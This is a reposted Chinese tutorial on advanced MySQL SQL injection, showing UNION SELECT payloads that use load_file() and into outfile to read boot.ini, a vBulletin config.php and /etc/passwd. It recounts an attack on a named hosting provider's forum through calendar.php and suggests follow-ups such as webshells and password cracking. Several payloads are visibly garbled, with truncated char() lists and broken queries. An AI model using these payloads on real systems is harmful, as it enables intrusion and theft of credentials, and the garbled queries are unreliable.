《MysqL教程Advanced sql Injection with MysqL》要点:
本文介绍了MysqL教程Advanced sql Injection with MysqL,希望对您有用。如果有疑问,可以联系我们。
MysqL入门文/图 平安天使・angel[BST]
MysqL入门前言
MysqL入门 我的《sql Injection with MysqL》(《黑客防线》7月的专题)已经对MysqL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的平安性均会大打折扣,由于《sql Injection with MysqL》的发表时间是在暑假期间,考虑到很多新手、学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完.专题发表后,很多人已经陆续转到PHP+MysqL注入的研究,很多新技术将会陆续挖掘出来,我们所掌握这方面未公开的高级技巧也会陆续公布出来.至于比较基础的东西,本文就不再提了.
MysqL入门详细
MysqL入门 我们知道,在SQL语句中,可以使用各种MysqL内置的函数,经常使用的就是DATABASE()、USER()、SYstem_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回.
看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:
MysqL入门 如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空.比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来.
MysqL入门 在实际的注入中,我们有两个难点需要解决:
绝对物理路径 构造有效的畸形语句MysqL入门 在很多PHP程序中,当提交一个错误的query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的平安将受到严重的威胁.构造语句已经是小意思了.
MysqL入门利用
MysqL入门 我们假设一个程序的SQL语句如下:
MysqL入门SELECT * FROM article WHERE articleID=$ID
MysqL入门 注:当前条件:magic_quotes_gpc = off,c:/boot.ini可读.
MysqL入门 此时,我们构造$ID为:
MysqL入门-1 union select 1,1,load_file('c:/boot.ini')
MysqL入门 我们的query就变成:
MysqL入门SELECT * FROM article WHERE articleID=-1 union select 1,load_file('c:/boot.ini')
MysqL入门 程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc = off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《sql Injection with MysqL》的朋友肯定知道用char()函数或者把字符转换成16进制,没错,就是它们.
MysqL入门 注:当前条件:magic_quotes_gpc = on,c:/boot.ini可读.
MysqL入门 我们构造$ID为:
MysqL入门-1 union select 1,load_file(char(99,58,47,98,111,116,46,105,110,105))
MysqL入门 “char(99,105)”就是“c:/boot.ini”的ASCII代码,我们的query就变成:
MysqL入门SELECT * FROM article WHERE articleID=-1 union select 1,105))
MysqL入门 我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所以上面的语句可以是这样:
MysqL入门SELECT * FROM article WHERE articleID=-1 union select 1,load_file(0x633a2f626f6f742e696e69)
MysqL入门 比较短了,看各人爱好了,大家可以在phpmyadmin或MysqL>下输入以下查询慢慢研究.
MysqL入门SELECT load_file([string])
MysqL入门 当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们也可以用into outfile把文件导出.大家已经知道如何利用了,我也不说细节了,看一个实例说明一切.
MysqL入门实例
MysqL入门 www.***host.cn是我国著名的FreeBSD主机提供商,我们就拿他来测试,因为它的论坛采用的是calendar.PHP存在问题的VBB论坛,我就不需要到处去找有漏洞的站点了(虽然到处都是).这是一次完整的平安测试.仅仅获取信息,我并未进入服务器.
MysqL入门 这里补充说明一点关于VBB的根目录下global.PHP的一段代码,如下:
MysqL入门<?PHP
// get rID of slashes in get / post / cookie data
function stripslashesarray (&$arr) {
while (List($key,$val)=each($arr)) {
if ($key!="templatesused" and $key!="argc" and $key!="argv") {
if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) {
$arr["$key"] = stripslashes($val);
} else if (is_array($val) AND ($key == 'http_POST_VARS' OR $key == 'http_GET_VARS' OR strtoupper($key)!=$key)) {
$arr["$key"] = stripslashesarray($val);
}
}
}
return $arr;
}
if (get_magic_quotes_gpc() and is_array($GLOBALS)) {
if (isset($attachment)) {
$GLOBALS['attachment'] = addslashes($GLOBALS['attachment']);
}
if (isset($avatarfile)) {
$GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']);
}
$GLOBALS = stripslashesarray($GLOBALS);
}
set_magic_quotes_runtime(0);
?>
MysqL入门 这段代码的作用就是如果magic_quotes_gpc打开,就去掉所有特殊字符的前面的转义字符,所以,不管PHP.ini里magic_quotes_gpc的状态如何,我们输入的单引号都没有影响的,大家可以放心注入.呵呵.
MysqL入门 我们知道,提交:
MysqL入门/calendar.PHP?action=edit&eventID=1 UNION SELECT 1,username,password FROM user WHERE userID=1
MysqL入门 是可以获取用户名和暗码MD5散列的,但是由于特殊原因,并没有显示出来,但凭我的经验,知道并没有构造错,所以我们可以读取并导出成文件.
因为事先我无意中访问到了含有PHPinfo()的文件,所以知道了WEB的绝对路径,从访问站点的结果,发现一个下载系统是生成HTML文件的,如果那个目录没有可写权限,是不能生成HTML文件的,不过这一切都不是本文的重点,我们现在掌握如下信息:
MysqL入门 和主机root相比,论坛的admin根本就不算什么,我对论坛admin也不感兴趣,我们要读取论坛的配置文件还有/etc/passwd,知道MysqL的连接信息,可以从这里入手,写webshell或其他的东西,知道/etc/passwd我们可以跑暗码.直接从ssh上去.
MysqL入门 VBB论坛的配置文件在/home/4ngel/forum/admin/config.PHP,转换成ASCII代码,提交:
MysqL入门calendar.PHP?action=edit&eventID=1 UNION SELECT 1,load_file(char(47,104,109,101,52,103,108,102,114,117,97,100,99,112,112)) FROM user WHERE userID=1 into outfile '/home/4ngel/soft/cfg.txt'
MysqL入门 呵呵,记得加一个where来定一个条件,否则如果论坛用户很多,那么导出的文件会相当大.或者干脆指定$eventID为一个不存在的值,就不用where了,就像这样:
MysqL入门calendar.PHP?action=edit&eventID=-1 UNION SELECT 1,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'
MysqL入门 /etc/passwd转换成ASCII代码,提交:
MysqL入门calendar.PHP?action=edit&eventID=-1 UNION SELECT 1,load_file (char(47,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'
MysqL入门 注意看到论坛的顶部,会出现下面的错误提示:
MysqL入门Warning: MysqL_fetch_array(): supplIEd argument is not a valID MysqL result resource in /home/4ngel/forum/admin/db_MysqL.PHP on line 154
MysqL入门 经验告诉我们,文件导出成功了,提交:
MysqL入门http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt
MysqL入门 内容哗啦啦的出来了,而黑夜和猪蛋的他们入侵灰色的时候,一个个显示暗码,欺骗,登陆后台,上传后门,读取config.PHP,一连串的步骤,我一个load_file()就搞定了.是不是危害很大?如图:
MysqL入门
MysqL入门
MysqL入门 我记得在某个群里讨论到大家都是通过搞9****.net这个站,而进入黑白服务器的,没有办法对黑白横冲直闯,只得来曲线的.用load_file()函数,知道了某些信息就可以进入黑白所在的服务器,过程和上面的一样,利用show.PHP的漏洞,直接load_file出程序的配置文件,知道了MysqL的信息,远程连接,写数据库导出文件,很容易获得服务器admin.
MysqL入门跋文
MysqL入门 由于危害太大,我一直都不太敢发布,相信国内也有人知道的.只是不公开罢了.经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点做任何具有破坏性的 *** 作.谢谢合作!
内存溢出培训学院每天发布《MysqL教程Advanced sql Injection with MysqL》等实战技能,PHP、MysqL、liNUX、APP、Js,CSS全面培养人才。
总结以上是内存溢出为你收集整理的MYSQL教程Advanced SQL Injection with MySQL全部内容,希望文章能够帮你解决MYSQL教程Advanced SQL Injection with MySQL所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)